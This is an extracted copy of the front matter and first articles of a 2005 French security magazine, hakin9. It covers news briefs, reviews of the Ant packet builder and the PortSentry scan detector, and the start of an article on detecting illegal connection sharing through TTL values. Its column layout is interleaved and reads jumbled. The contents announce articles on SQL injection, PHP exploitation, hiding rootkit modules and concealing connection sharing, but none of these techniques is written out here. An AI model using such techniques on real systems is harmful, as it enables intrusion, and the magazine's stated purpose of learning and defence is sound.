Vous êtes sur la page 1sur 84

Bases

12
Détecter le partage de connexion illégal
Mariusz Tomaszewski, Maciej Szmit, Marek Gusta
Les personnes qui se connectent illégalement au réseau peu-
vent donner du mauvais sang aux administrateurs et aux four-
nisseurs d'accès Internet. Mais il existe plusieurs méthodes
pour détecter ces pratiques ignobles. Ces méthodes ne sont
pas ni trop compliquées ni fastidieuses. Nous vous montrons
comment les mettre en pratique ou les contourner.
Rédacteur en chef : Roman Polesek

22
hakin9, chapelier fou Recherche et exploitation des bogues
dans le code PHP
Sacha Fuentes
Quand l'un de nos auteur, Sacha Fuentes (Recherche
Les programmes et scripts développés avec PHP, un des
et exploitation des bogues dans le code PHP), nous avertit
langages de programmation les plus utilisés, sont souvent
qu'il ne faut pas faire confiance aux utilisateurs, il a raison.
vulnérables à différentes attaques. Il ne s'agit certes pas
Le facteur humain était toujours le point faible de la sécurité
d'une certaine insécurité au niveau du langage lui-même,
informatique. Tout le monde sait qu'un élément le plus dou-
mais plutôt de l'inexpérience des programmeurs qui com-
teux de chaque système informatique est cette combinaison
mettent souvent des erreurs de conception. Consultez les
des protéines unissant la chaise avec le clavier. Aussi Tobias
vulnérabilités possibles dans le code PHP et apprenez com-
Glemser (Attaques par injection SQL avec PHP et MySQL)
ment les trouver et les exploiter.
essaie de nous présenter les menaces relatives aux don-
nées entrées dans le système sans aucune vérification.
Le problème est que cet élément faible donne le sens
à l'existence des machines à calculer. Si les humains n'avaient
pas existé, il ne serait pas nécessaire d'effectuer les calculs
Attaque
ou d'échanger les informations entre les coins du monde les 30
plus lointains. Indépendamment d'une justification morale Attaques par injection SQL
de ces procédés, sans nous, les tentatives de débloquer le avec PHP et MySQL
code n'auraient pas lieu (Jakub Nowak, Protéger les logiciels Tobias Glemser
Windows contre les pirates informatiques). Les connexions Il existe un certain nombre de techniques communes dont
illégales aux réseaux ne seraient pas pratiquées non plus l'objectif est d'attaquer les environnements PHP/MySQL.
(Détecter le partage de connexion illégal). Il ne faudrait pas Les injections SQL font partie des techniques d'attaques
lutter contre les programmes malicieux tels que les vers sur parmi les plus utilisées. Cette technique consiste à altérer
Internet (Michał Piotrowski, Honeypots – leurre contre les l'état de l'application qui subit l'attaque de manière à accep-
vers) ou suivre les intrus se dissimulant dans les systèmes ter nos données d'entrée capables de manipuler les requê-
(Mariusz Burdach, Méthodes de dissimulation des modules du tes SQL. Voyons comment le faire.
noyau dans Linux). Mais tous ces vices humains n'existent que
depuis la prise de conscience par l'homme de la propriété. 36
Les dispositifs permettant d'intercepter l'émission révéla- Méthodes de dissimulation des modules
trice (Robin Lobel, TEMPEST – émissions compromettantes) du noyau dans Linux
ne diffèrent en rien d'une voisine indiscrète qui nous écoute Mariusz Burdach
à travers le mur, un verre à l'oreille. De même, quelqu'un qui L'insertion d'un rootkit en module dans le noyau est le début
s'introduit la nuit dans le local informatique (Jeremy Martin, de la tâche de l'intrus. Pour rester inaperçu, il faut trouver
Conception de systèmes de sécurité physique) ressemble le moyen de cacher ce code de façon à ne pas éveiller des
à un troglodyte se glissant dans la grotte d'autrui. soupçons. Vous connaîtrez les méthodes permettant de
Le but de la parution de hakin9 est de savoir comment cacher un module quelconque dans le système.
fonctionnent diverses attaques afin de mieux pouvoir s'en
prémunir. Nous tentons d'aborder tous les sujets difficiles, 40
voire gênants. Des fois, nous mettons un chapeau blanc, des TEMPEST – émissions compromettantes
fois – un chapeau noir. Au-delà du côté éthique, toutes ces Robin Lobel
actions – heureusement ou pas – proviennent de la nature TEMPEST est l'art de transformer des émissions involontaires
humaine. Tant que les hommes continueront à intriguer, le en données compromettantes. Cela concerne principalement
jeu « des gendarmes et des voleurs » ne sera pas terminé. les ondes électromagnétiques, mais le principe peut être aussi
bien appliqué à n'importe quel type d'émanations involontai-
Roman Polesek
res induites par le fonctionnement interne d'un périphérique.
romanp@hakin9.org
L'article présente comment construire une machine qui sait
capturer des émissions venant des moniteurs CRT.

2 www.hakin9.org hakin9 N o 3/2005


Défense AVERTISSEMENT
48 Les techniques présentées dans les articles ne peuvent
Honeypots – leurre contre les vers être utilisées qu'au sein des réseaux internes.
Michał Piotrowski La rédaction du magazine n'est pas responsable de l'utili-
Les vers de réseau se propagent très rapidement – afin de sation incorrecte des techniques présentées.
pouvoir se défendre efficacement, il faut avoir leur code L'utilisation des techniques présentées peut provoquer la
et l'analyser. Les systèmes honeypots permettent non seule- perte des données !
ment de capturer un ver, mais aussi d'observer ses actions et
de le supprimer automatiquement des machines infectées.

60 04 En abrégé
Protéger les logiciels Windows contre les Les nouvelles du monde de la sécurité des systè-
pirates informatiques mes informatiques.
Jakub Nowak
La travail du développeur qui crée des applications shareware
devient tôt ou tard la proie des pirates informatiques. Il arrive
souvent qu'un crack ou un keygen apparaisse sur le net le
jour de la sortie du logiciel. Il existe cependant les méthodes
Outils
efficaces permettant de protéger le code contre les voleurs.
Vous apprenez à les mettre en pratique.
08 Ant
Un outil performant destiné à envoyer différents
types de paquets réseaux.
68
Conception de systèmes 10 PortSentry
de sécurité physique Un utilitaire de surveillance des ports qui permet de
Jeremy Martin
détecter les tentatives de scannage du système.
Dépenser de l'argent dans la protection de données pouvant
être recréées ne présente aucun intérêt ; que pourrait-il se
passer concrètement ? – des commentaires de ce genre
émanent d'un trop grand nombre de cadres issus des hautes
sphères dirigeantes. Du mauvais emploi de la part de l'em- 78 Feuilleton
ployé à l'espionnage industriel, en passant par les catas-
trophes naturelles, il existe une grande variété de menaces Empreinte du passé
dirigées contre les actifs d'une société. Mais il faut bien Il est grand temps de révolutionner l’envoi du cour-
reconnaître que la sécurité physique constitue la première rier électronique.
ligne de défense d'un système d'information.

Le périodique est publié par Software-Wydawnictwo Sp. z o.o.


Software-Wydawnictwo Sp. z o.o., Couverture : Agnieszka Marchocka
Lewartowskiego 6, 00-190 Varsovie, Pologne Traduction : Grażyna Wełna, Iwona Czarnota, Marie-Laure Perrotey
Tél. +48 22 860 18 81, Fax. +48 22 860 17 70 Correction : Jérémie Fromaget, Jean-François K@sparov, Gabriel
www.hakin9.org Campana, Gilles Gaffet, Sebastien Lecocq, Pierre-Emmanuel Leriche,
Gilles Fournil
Directeur de la publication : Jarosław Szumski Le meilleur bétatesteur : Gilles Fournil
Bétatesteur : Gaëtan Duquesne
Imprimerie, photogravure : 101 Studio, Firma Tęgi
Ekonomiczna 30/36, 93-426 Łódź Les personnes intéressées par la coopération sont priées de nous
Imprimé en Pologne/Printed in Poland contacter : cooperation@software.com.pl
Abonnement (France métropolitaine) : 1 an (soit 6 numéros) 38 €
DOM/TOM, étranger : nous consulter Abonnement : abonnement@software.com.pl
Fabrication : Marta Kurpiewska marta@software.com.pl
Dépôt légal : à parution Diffusion : Monika Godlewska monikag@software.com.pl
ISSN : 1731-7037 Publicité : adv@software.com.pl
Commission paritaire : en cours
Distribution : MLP La rédaction fait tout son possible pour s’assurer que les logiciels sont à jour, pourtant
elle décline toute responsabilité pour leur utilisation. Elle ne fournit pas de support
Parc d’activités de Chesnes, 55 bd de la Noirée
technique lié à l’installation ou l’utilisation des logiciels enregistrés sur le CD-ROM. Tous
BP 59 F - 38291 SAINT-QUENTIN-FALLAVIER CEDEX les logos et marques déposés sont la propriété de leurs propriétaires respectifs.

(c) 2005 Software-Wydawnictwo, tous les droits réservés


La rédaction utilise le système PAO
Rédacteur en chef : Roman Polesek romanp@hakin9.org Pour créer les diagrammes on a utilisé le programme
Rédactrice adjointe : Paulina Nowak paulinan@software.com.pl
Le CD-ROM joint au magazine a été testé avec AntiVirenKit de la société G Data
Secrétaire de rédaction : Tomasz Nidecki tonid@hakin9.org
Software Sp. z o.o.
Maquette : Anna Osiecka annao@software.com.pl

hakin9 N o 3/2005 www.hakin9.org 3


SHA-1 au rancart ?
Après le déchiffrement réussi de l'al- première version, coûtant 250 000 de
gorithme MD5, on s'est mis à déchif- dollars (les copies coûtent environ 1/4
frer la fonction de hachage SHA-1, de ce montant), permettait d'effectuer
considérée jusqu'alors comme très 256 d'opérations DES pendant 56
En abrégé
sûre. Les spécialistes sont d'avis heures. Étant donné la loi de Moore,
qu'il est temps de passer à ses on peut admettre qu'une machine
variantes plus sûres, comme SHA- similaire construite aujourd'hui pour-
256 et SHA-512. rait effectuer 260 d'opération dans ce
En prison pour Lynx Xiaoyun Wang, Yiqun Lisa Yin temps (269 d'opérations prendraient
Un habitant de Londres âgé de 28
et Hongbo Yu de l'Université Shan- 3,5 ans !). Mais si l'on investissait
ans a été arrêté par la police – la
cause en était une tentative proba- gdong ont annoncé qu'il ont réussi environ 38 000 000 de dollars, cette
ble d'intrusion à l'un des serveurs à réduire considérablement le temps période (3,5 ans) pourrait être réduit
de British Telecom. Il a été libéré, nécessaire pour trouver les collisions à 56 heures – dans le futur, cela dure-
mais il doit se présenter chaque dans SHA-1. Vu qu'à l'aide de l'attaque rait encore plus court.
jour au commissariat de police. brute force, il était nécessaire d'effec- La seconde solution est pure-
Cet homme, touché profondément
tuer 280 d'opérations de hachage, une ment logicielle. En 2002, après
par la tragédie en Asie, a voulu offrir
quelques sous au compte d'une nouvelle méthode – présentée dans 5 années de calculs, l'entreprise
fondation aidant les victimes du un document disponible uniquement mathématique utilisant le réseau
tsunami. Il a utilisé Internet (le site à des autorités scientifiques élues http://distributed.net destiné à des
était hébergé sur les serveurs BT) – permet de réduire ce nombre à calculs statistiques compliqués,
– malheureusement, il s'est servi du 269 d'opérations. Bref, la nouvelle a touché à sa fin. Plus de 300 000
navigateur texte Lynx installé sur le
méthode est 2000 fois plus rapide. utilisateurs ont partagé la puis-
système Solaris 10.
Ce programme, peu fréquem- Les Chinois ont publié les résultats sance de leurs ordinateurs et enfin
ment utilisé, a éveillé les soup- partiaux de leurs recherches. Pour un utilisateur du Japon a trouvé la
çons de la personne qui vérifiait retrouver une collision par le biais de combinaison appropriée. Référons-
les journaux d'événements. Elle leur méthode, il faut respectivement : nous encore une fois à la loi de
a constaté que ce comportement
233 d'opérations pour SHA-1 de 58 Moore – aujourd'hui, pour obtenir le
(User-Agent non standard) était
suspect et a prouvé une tenta- tours, 239 d'opérations pour SHA-0, 269 même résultat, il suffirait de 1/4 de
tive d'attaque, et elle a informé la pour SHA-1 non simplifié. ce temps.
police. Les policiers ont forcé la Cela peut paraître beaucoup. SHA-1 est aujourd'hui la fonction
porte du bienfaiteur et l'ont arrêté. Cependant, étant donné la puissance de hachage la plus utilisée. Elle a été
La première poursuite en justice a des ordinateurs d'aujourd'hui et la créée en 1995 à partir de la fonction
eu lieu début d'avril 2005.
loi de Moore, il serait naïf de croire SHA-0 (1993) considérée comme
Voyages du ver Cabir encore à cet algorithme. Il ne faut pas dangereuse. Vu les succès des
En Californie, à Santa Monica, une oublier des solutions qui, au moins chercheurs chinois, nous pouvons
version de Cabir, virus infectant théoriquement, sont capables d'accé- constater que ses jours sont comp-
les systèmes Symbian à l'aide de lérer ce processus de calcul. tés. Heureusement, il existe encore
l'interface bluetooth, a été décou- La première solution est le dis- des solutions alternatives plus sûres,
verte dans deux téléphones Nokia
6600.
positif appelé DES Cracker, conçu comme les mutations de l'algorithme
Il s'agit de la première apparition en 1999 par des cryptographes. Sa SHA (256, 384, 512).
de Cabir sur le territoire américain.

eBay aide au phishing


Cabir a déjà fait son apparition
dans d'autres pays, de même que
sa mutation plus complexe Lasco
Parmi les phishers, le site http:// du site d’enchères et le script redirige
(qui est capable d'infecter aussi
les fichiers et pas seulement de se www.ebay.com, le système le plus ensuite la connexion vers les pages
multiplier). Mais c'est le premier qui populaire d’enchères via Internet, est des phishers. Les détails techniques
se déplace aussi facilement dans le utilisé de plus en plus souvent pour sont bien sûr inconnus.
monde entier. légitimer leurs actions. Les attaques de type phishing
La situation devient de plus en Suivant le service The Register font de plus en plus de victimes.
plus grave. Les opérateurs des
(http://theregister.co.uk), les pirates Le rapport d’Anti-Phishing Working
cellulaires commencent à considé-
rer les virus comme une menace exploitent le script de redirection dispo- Group, organisme qui surveille ces
réelle. Trend Micro et McAfee, deux nible sur le site d’eBay. Cette adresse cas, indique que le nombre d’emails
éditeurs connus des anti-virus, ont s’affiche dans plusieurs emails mali- de type phishing a atteint en janvier
publié les versions de leurs produits cieux dernièrement envoyés. Ainsi, les un chiffre de près de 13000, ce qui
pour mobiles. pages falsifiées paraissent plus véri- donne une augmentation de 40% par
diques – le lien se réfère à l’adresse rapport à décembre 2004.

4 www.hakin9.org hakin9 N o 3/2005


Rootkits arrivent

Système, ouvre-toi
Les experts de Microsoft ont peur
d'une nouvelle génération de virus
et troyens exploitant les rootkits du
Solaris – le système de la famille SUN informe que ce processus sera
noyau du système.
UNIX produit par SUN Microsystems effectué progressivement – au moins, Les rootkits (cf. les articles de
– sera disponible avec son code tout d'abord, les pilotes seront fournis Mariusz Burdach dans ce numéro
source sous la licence conforme sous forme binaire. et dans le numéro précédent de
au standard open source. C'est Solaris 10, présenté comme le hakin9) sont un ensemble de
programmes permettant d'obtenir
une bonne nouvelle, bien que les plus avancé technologiquement des
les droits d'accès les plus élevés
malicieux considèrent que cette systèmes UNIX, est déjà proposé du système et de s'y dissimuler.
démarche de l'entreprise est une en téléchargement. Vous pouvez le Bien que l'idée provienne des
tentative de décharger leur propres télécharger tout à fait gratuitement, systèmes basés sur UNIX, depuis
programmeurs. après avoir rempli le formulaire la naissance de Windows NT, elle
Selon les affirmations de SUN, le d'enregistrement. Deux types sont est aussi présente dans les systè-
mes de Redmond. Microsoft a des
code source de Solaris 10 (le système disponibles : pour les systèmes
raisons de s'inquiéter – les root-
a eu sa première le 1 février 2005) UltraSPARC et Intel/Opteron. Il kits du noyau deviennent de plus
sera disponible dans sa totalité dans occupe 4 CDs (ou un DVD) et un en plus utilisés parmi les auteurs
la deuxième moitié de l'année, sur Companion Disc optionnel contenant des malwares. On peut admettre
le site http://opensolaris.org. Pour les binaires GNU précompilés. que cela risque d'empirer et que
l'instant, comme preuves d'une bonne Certains peuvent être mécon- ces solutions seront assez fré-
quentes.
volonté de l'entreprise, il est possible tents – CDDL n'est pas GNU GPL,
C'est pourquoi, l'entreprise de
de télécharger les sources de DTrace les sources seront incomplètes... Redmond a conçu un outil spé-
– un excellent outil permettant le tra- Les paranoïaques ajouteront que ce cial baptisé Strider Ghostbuster
çage dynamique du code. ne sont que de belles promesses et qui vérifie les fichiers système de
Autant DTrace que Solaris seront personne ne verra jamais du code. Windows du point de vue de leurs
modifications. S'ils diffèrent des
entièrement disponibles sous la Mais nous espérons que SUN tien-
versions initiales d'installation,
licence CDDL (Common Develop- dra sa promesse. Le produit principal le programme émet une alerte.
ment and Distribution License), de l'entreprise joindra ces cousins Pour l'instant, l'unique solution
approuvée par OSI (Open Source Ini- – Linux et les systèmes de la famille au problème est la réinstallation
tiative), une organisation très impor- BSD. Un choix plus ample ne fera du système (évidemment, après
tante pour les logiciels libres. Pourtant pas de mal. l'archivage des données impor-
tantes).

Nous savons où tu es Premier spimmer arrêté


Un adolescent New-yorkais de 18
Cela peut être la fin de l’anony- ges internes pour traiter le signal, ans vient d’être arrêté pour avoir
mat dans Internet – un doctorant appelées clock skew (décalage envoyé en masse des messages
à l’UCLA a annoncé qu’il a décou- d’horloge). Vu que dans la plupart spim (envoi du spam au travers
du services de messagerie ins-
vert la méthode de prise d’em- des piles TCP le support de TCP tantanée).
preinte digitale à distance des timestamps (RFC 1323) est implé- Greco, a envoyé plus de 1 500 000
dispositifs physiques. Les détails menté (RFC 1323), il était possible de messages de type spam (la
seront présentés lors du Sym- d’élaborer le système d’analyse publicité des montres Rolex, la
posium sur la Sécurité et la Vie des informations collectées. La pornographie, etc.) aux utilisa-
teurs de la messagerie instan-
Privée, organisée en mai par l’IEEE partie principale de l’étude se base
tanée de MySpace.com, un portail
(Institute of Electrical and Electro- sur un test de 38 jours, utilisant 69 de rencontres pour adolescents.
nics Engineers). machines configurées de façon D'après les représentants de
Tadayoshi Kohno avec son équipe identique tournant sous Windows l'entreprise, Anthony Greco exer-
semble avoir trouvé un moyen d’iden- XP. Le résultat a fait apparaître que çait son activité depuis décembre
tifier à distance des dispositifs (p. ex. les variations de l’horloge sont diffé- 2004.
De plus, l’adolescent a menacé
des cartes réseau) sans la coopé- rentes pour chaque machine et per-
MySpace.com de continuer ses
ration de l’appareil et à l’insu de son mettent de l’identifier parmi d’autres envois massifs de spam jusqu'à
utilisateur. Il paraît que la méthode machines. ce que la compagnie ne l’em-
fonctionne indépendamment de La méthode de prise d’empreinte bauche. L'entreprise a utilisé
l’infrastructure réseau – elle permet, digitale a distance a été aussi une ruse et a invité Greco à une
entre autres, d’identifier un ordinateur testée avec succès sur les systè- rencontre. Celui-ci, convaincu que
son plan avait réussi, a été arrêté
donné, bien que même si celui-ci se mes Windows 2000, MacOS X, par la police sur l'aéroport de Los
trouve derrière un pare-feu ou change Red Hat, Debian, FreeBSD et Open- Angeles.
d’adresse IP derrière un NAT. BSD.
L’idée du groupe du doctorant
exploite les variations des horlo-

hakin9 N o 3/2005 www.hakin9.org 5


• honeyd – un honeypot à basse interaction,
• Apache, PHP et MySQL,
• AutoScan – un outil graphique pour scanner minutieu-
sement des segments entiers de réseau,
• ROX – un gestionnaire de bureau et de fichiers,
hakin9.live
• AirCrack – un programme de plus pour casser les
clés WEP.
• Ant – un excellent outil (GTK) pour construire
et envoyer des trames et paquets réseaux de notre
Sur le CD choix.

À présent, le gestionnaire de fenêtres est par défaut

S
ur le CD joint au magazine, on vous offre fluxbox, légèrement modifié. Il a un aspect agréable, est
hakin9.live (h9l), en version 2.5 – une distribu- parfaitement configuré et ses exigences en matériel sont
tion bootable de Linux qui réunit les outils, une minimes. Enfin, on vous donne la possibilité de démarrer
documentation, des tutoriaux et les suppléments des avec un environnement graphique agréable xfce4 en ver-
articles. sion 4.2 (option de démarrage hakin9 xfce4).
Pour commencer avec hakin9.live, il suffit de démar-
rer l'ordinateur avec le CD. Les options supplémentaires Documentation et tutoriaux
liées au démarrage du CD (choix de langue, résolution, Excepté les conseils de démarrage et le support
désactivation de framebuffer etc.) sont présentées dans hakin9.live, la documentation comporte aussi des tutoriaux
la documentation contenue sur le CD – le fichier help.html avec des exercices pratiques élaborés par nous-mêmes.
(si vous consultez le contenu depuis le h9l démarré, ce Utiliser les tutoriaux implique un travail avec hakin9.live. Ce
fichier se trouve dans home/haking/help.html). principe nous évitera bien de problèmes liés aux différentes
versions des compilateurs, aux fichiers de configurations
Quoi de neuf ? placés ailleurs, ou il nous épargnera encore les soucis
La version 2.5 s'appuie sur Aurox Live 10.1. Le système des options indispensables pour pouvoir démarrer le pro-
fonctionne sous contrôle du noyau 2.6.7, la détection du gramme dans un environnement donné.
matériel a été améliorée et la configuration du réseau La présente version de hakin9.live comporte deux
rendue plus fonctionnelle. Nous avons également unifor- tutoriaux de plus, rajoutés à ceux déjà existants. Le pre-
misé le menu – les programmes sont classés en catégo- mier dont l'auteur est Tobias Glemser – montre comment
ries adéquates ce qui permet un accès plus intuitif aux mener les attaques Injection SQL sur la base MySQL.
applications. Nous allons apprendre à passer habilement les requêtes
Le nouveau hakin9.live comporte beaucoup plus de aux systèmes de forums (en anglais bulletin boards) sur
suppléments – des documents RFC mis à jour, quelques l'exemple de YaBB SE.
livres gratuits en format PDF et HTML, ainsi que des arti- Le deuxième nouveau tutorial traite de l'utilisation des
cles non publiés, en outre Windows Security Penetrated honeypots (sur l'exemple de Honeyd) pour détecter les virus
de Adrian Pastor (en anglais). et désinfecter les ordinateurs de notre réseau. C'est une
La version actuelle de h9l voit apparaître de nou- application pratique du savoir présenté dans l'article Honey-
veaux programmes : pots – leurre contre les vers de Michał Piotrowski. n

Figure 1. hakin9.live est un outil condensé et pratique Figure 2. De nombreux suppléments

6 www.hakin9.org hakin9 N o 3/2005


Ant
Système : Linux, *NIX
Licence : GNU GPL
But : Création et envoi des trames réseau
Outils
Page d'accueil : http://ant.sourceforge.net/

Ant est un outil graphique (utilisant la bibliothèque GTK) qui facilite l'analyse
et les tests de sécurité des réseaux et des systèmes informatiques – il permet
de créer et d'envoyer des trames réseau avec les en-têtes des protocoles les
plus courants (IPv4/IPv6, TCP, UDP, ARP, IPX, SPX et autres). Il a gagné au
concours de hakin9 du meilleur front-end pour SendIP – il est disponible sur
hakin9.live.

Démarrage rapide : vous êtes administrateur d'un nante ; elle permet de paramétrer la version du protocole
petit réseau et vous voulez tester la réaction de votre (IPv4 ou IPv6), la longueur de la trame, les drapeaux
routeur aux différentes trames envoyées à partir du (don't fragment et more fragments), la valeur TTL,
réseau local. Mais la préparation manuelle (même le protocole de la couche supérieure (TCP) et l'adresse IP
à l'aide du programme SendIP) de plusieurs types de source et cible. Vous pouvez aussi déterminer la somme
trames ethernet peut être très fastidieuse et il est facile de contrôle IP (le bouton bleu au-dessous), pourtant
de commettre une erreur. Il est donc préférable de se il est recommandé de laisser les valeurs proposées par
servir d'un outil très convivial et quasi automatique, par le programme.
exemple Ant. La dernière étape consiste à ajouter l'en-tête TCP
Vu que le programme est en phase de développement et sa somme de contrôle. Dans cet en-tête, vous pouvez
(pourtant, il est tout à fait opérationnel), avant de l'utiliser, définir le port source et cible, la longueur et, par exemple,
il faut compiler son code source – n'oubliez pas qu'Ant, les bits de contrôle (SYN, FIN, ACK, RST). L'ajout de
pour fonctionner correctement, exige les bibliothèques la somme de contrôle ne doit pas poser de problème.
gtk+, libnet et libpcap. Après le chargement des sources, Une fois la trame préparée, elle peut être envoyée à l'aide
décompactez-les et passez au répertoire ant : de la commande Send.
Autres qualités : Ant permet la création de données
$ tar jxvf ant-0.1.tar.bz2 composées d'un nombre quelconque de trames. L'en-
$ cd ant voi peut être organisé en séries de transmissions :
vous devez entrer leur nombre, les intervalles entre les
Ensuite, tapez la commande : séries et les trames spécifi ques en millisecondes. Les
trames créées peuvent être enregistrées pour un envoi
$ make ultérieur.

Après quelques instants, le répertoire contiendra le Roman Polesek


fichier binaire ant. Si vous voulez, vous pouvez le copier
dans le répertoire disponible dans la variable $PATH (par
exemple /usr/bin). Le fichier doit être lancé avec les droits
de root, par exemple :

$ gksu ant

Admettons que vous vouliez créer une trame tout à fait


ordinaire avec les en-têtes IP et TCP. Après avoir démarré
Ant, vous pouvez passer à la création. Évidemment, vous
devez commencer par l'en-tête ethernet (bouton orange).
Une nouvelle fenêtre permettant la définition des options
de l'en-tête s'affiche – l'adresse MAC cible et source, le
type/taille et l'emplacement dans la trame. En ce qui con-
cerne le protocole IP, il est recommandé de laisser les
paramètres par défaut.
À l'étape suivante, il faut ajouter l'en-tête IP (bouton
bleu). La fenêtre d'options est encore plus impression- La création d'une trame dans le programme Ant

8 www.hakin9.org hakin9 N o 3/2005


PortSentry
Système : *NIX
Licence : CPL, GPL
But : détecter le scannage des ports
Outils
Page d'accueil : http://sourceforge.net/projects/sentrytools

PortSentry est un utilitaire de surveillance des ports qui permet de détecter les
tentatives de scannage du système. Il intègre des mécanismes permettant de
verrouiller aussi bien le paquet lui-même que l'adresse d'un hôte depuis lequel
des paquets sont envoyés.

Démarrage rapide : Vous soupçonnez quelqu'un • portsentry -atcp – le logiciel écoute sur tous les ports
d'essayer de scanner votre système. Vous voulez au-dessous du numéro du port défini dans la ligne
vous protéger en verrouillant, les paquets suspects ADVANCED _ PORTS _ TCP du fichier portsentry.conf ; cette
qui arrivent et l'adresse IP de l'hôte qui les envoie. méthode est la plus sensible,
Tout d'abord, téléchargez le logiciel depuis la page • portsentry -audp – comme ci-dessus mais concerne
d'accueil de l'éditeur, décompressez-le dans un dos- UDP.
sier choisi et tapez la commande suivante dans le
répertoire PortSentry : Les informations sur toutes les tentatives de scannage
seront enregistrées dans /usr/local/psionic/portsentry/
$ make linux portsentry.history. Grâce au fichier portsentry.ignore
qui se trouve dans le même répertoire, il est possi-
Pour installer l'application, tapez la commande : ble d'ajouter les hôtes qui seront ignorés (non ver-
rouillés).
# make install D'autres possibilités fort utiles : il existe un utilitaire
supplémentaire nommé Logcheck permettant d'en-
Une fois cela fait, PortSentry sera installé par défaut dans voyer les journaux à l'administrateur par SMS ou par
/usr/local/psionic/portsentry. e-mail.
Une fois installé, le logiciel doit être configuré en édi-
tant le fichier portsentry.conf. Dans les lignes TCP _ PORTS Jan Korzeniowski
et UDP _ PORTS, il est possible de définir les ports à sur-
veiller. Rien n'empêche de les changer en 21,22,23,25,110,
par exemple – cela signifie que PortSentry filtrera les
paquets sur les ports des protocoles telnet, SSH, FTP,
SMTP et POP3.
Dans le même fichier, trouvez la ligne #iptables
support for Linux ; vous devez y taper un chemin correct
vers iptables. Finalement, supprimez # de la ligne KILL _
HOSTS _ DENY="ALL: $TARGET$ : DENY" pour que PortSentry
ajoute les hôtes au fichier hosts.deny.
PortSentry peut être démarré par plusieurs moyens. Figure 1. Journaux du logiciel PortSentry
Voici les commandes permettant de filtrer les différents
types de scannage :

• portsentry -tcp – le logiciel vérifie les fichiers de


configuration et il écoute sur les ports TCP défi-
nis,
• portsentry -udp – comme ci-dessus avec cette diffé-
rence que les ports UDP sont pris en compte,
• portsentry -stcp – PortSentry utilise les sockets pour
surveiller tous les paquets arrivants ; si un paquet est
destiné à un port surveillé, le logiciel verrouille les
connexions à l'hôte qui attaque,
• portsentry - audp – comme ci-dessus mais concerne Figure 2. Configuration de PortSentry à l’aide de
UDP, l’interface Webmin

10 www.hakin9.org hakin9 N o 3/2005


Détecter le partage de
connexion illégal
Mariusz Tomaszewski, Maciej Szmit, Marek Gusta

Les personnes qui se connectent


illégalement au réseau peuvent
donner du mauvais sang
aux administrateurs et aux
fournisseurs d'accès Internet.
Mais il existe plusieurs méthodes
pour détecter ces pratiques
ignobles. Ces méthodes ne
sont pas ni trop compliquées ni
fastidieuses.

L
orsqu'une connexion Internet est trop et essayer de détecter ces situations. Si le contrat
chargée, l'administrateur peut partager avec votre FAI interdit la division de la ligne, celui
la bande passante entre les utilisateurs qui commet ce délit peut être tout simplement
légaux. Alors, vous n'avez pas à vous soucier débranché – évidemment, si vous avez réussi
du fait que quelqu'un offre sa connexion à un à détecter le partage illégal. Mais ces actions res-
voisin (cf. l'Encadré Partage de connexion) semblent plutôt à jouer « aux gendarmes et aux
– cela n'a aucun impact sur la qualité de fonc- voleurs » et ce dernier prend le dessus.
tionnement du réseau. Ce qui reste, c'est le
problème de partage des frais. Valeurs TTL dans les en-têtes
Une question se pose : comment l'adminis- des paquets IP
trateur peut détecter que le réseau est exploité L'en-tête du datagramme IP possède le champ
par des tiers ? Il existe quelques techniques, TTL – durée de vie (en anglais Time To Live)
plus ou moins efficaces. Mais tout dépend du
savoir-faire de la personne qui se raccorde
illégalement au réseau et des techniques Cet article explique...
qu'elle utilisera pour dissimuler ce fait.
La première façon, et en même temps la plus • comment dissimuler le partage illégal de con-
nexion,
raisonnable, de se protéger contre le partage de
• comment détecter le partage non autorisé de
connexion illégal est la division de la ligne. Cette
Bases

notre connexion.
opération garantit que le débit de notre réseau
ne sera pas réduit à cause des utilisateurs non
autorisés, et que l'utilisation de la bande pas-
Ce qu'il faut savoir...
sante affectée ne dépendra pas du client. • utiliser le système Linux,
Si la limitation de la bande passante ou • connaître le modèle ISO/OSI,
du transfert ne vous satisfait pas et si vous ne • au moins les notions de base des protocoles
souhaitez pas que la ligne soit partagée, vous TCP/IP.
pouvez analyser le trafic dans votre réseau

12 www.hakin9.org hakin9 N o 3/2005


Partage de connexion illégal

à la connexion fonctionne en tant que


Partage de ligne routeur et transmet les paquets entre
Plusieurs personnes, en particulier celles qui ne connaissent pas bien Linux, choisiront ses interfaces (et dans le cas d'un
la méthode très simple basée sur le système Windows pour partager la connexion – la accès non autorisé au réseau publi-
fonction Partage de connexion Internet (Internet Connection Sharing – ICS). Grâce que, sur celui-ci le service NAT est
à cette méthode, les ordinateurs dans des réseaux à domicile ou dans des bureaux lancé), dans chaque paquet généré
sont capables de se connecter à Internet via une seule connexion réseau. par l'ordinateur A, B ou C, la valeur
ICS est une fonction intégrée du système Windows, mais elle ne peut être lancée du champ TTL sera diminuée d'une
que sur les ordinateurs tournant sous Windows XP, Windows 98 SE, Windows Millen-
unité. En conséquence, le réseau
nium Edition (Me) ou Windows 2000. À vrai dire, la fonction ICS est un ensemble d'élé-
LAN (10.10.11.0) contient les paquets
ments qui, contrairement au système Linux, ne sont pas disponibles pour l'utilisateur
dont le champ TTL aura la valeur
et la possibilité de les configurer est assez limitée. Les composants les plus importants
sont, à savoir : inférieure à une unité par rapport à la
valeur standard pour un système.
• le programme affectant les adresses DHCP – un service très simplifié qui affecte Pour détecter ces paquets, l'ad-
l'adresse IP, la passerelle par défaut et le serveur de noms dans le réseau local, ministrateur peut lancer sur la passe-
• le serveur proxy DNS dont la tâche consiste à transcrire les noms de domaine en relle Internet un analyseur de paquets
adresses IP pour les clients du réseau local, (sniffeur) et vérifier si dans le réseau,
• le translateur d'adresses réseau qui transcrit les adresses privées en adresse
il n'existe pas des paquets ayant les
publique (adresses publiques).
valeurs du champ TTL bizarres pro-
Le système Linux exploite le mécanisme de translation d'adresse réseau NAT (en an- venant d'une seule adresse IP (dans
glais Network Address Translation) ou utilise les serveurs proxy. Le NAT et le proxy sont notre cas 10.10.11.95). En admettant
des technologies implémentées dans les systèmes de pare-feu, et leur but principal est que sur l'ordinateur A le système Win-
de dissimuler et de protéger le réseau local contre les réseaux externes. dows 2000 est lancé (TTL initial 128),
par contre sur l'ordinateur B le sys-
tème Linux (TTL initial 64), le sniffeur
qui détermine le nombre maximum Cette démarche a pour but d'em-
Tableau 1. Les valeurs TTL
de routeurs IP que ce paquet est pêcher qu'un paquet erre jusqu'à
caractéristiques pour les systèmes
autorisé à traverser avant d'être rejeté l'infini dans une boucle de routage
d'exploitation spécifiques
(cf. la Figure 1). Lors du traitement (c'est-à-dire, un routeur envoie le da-
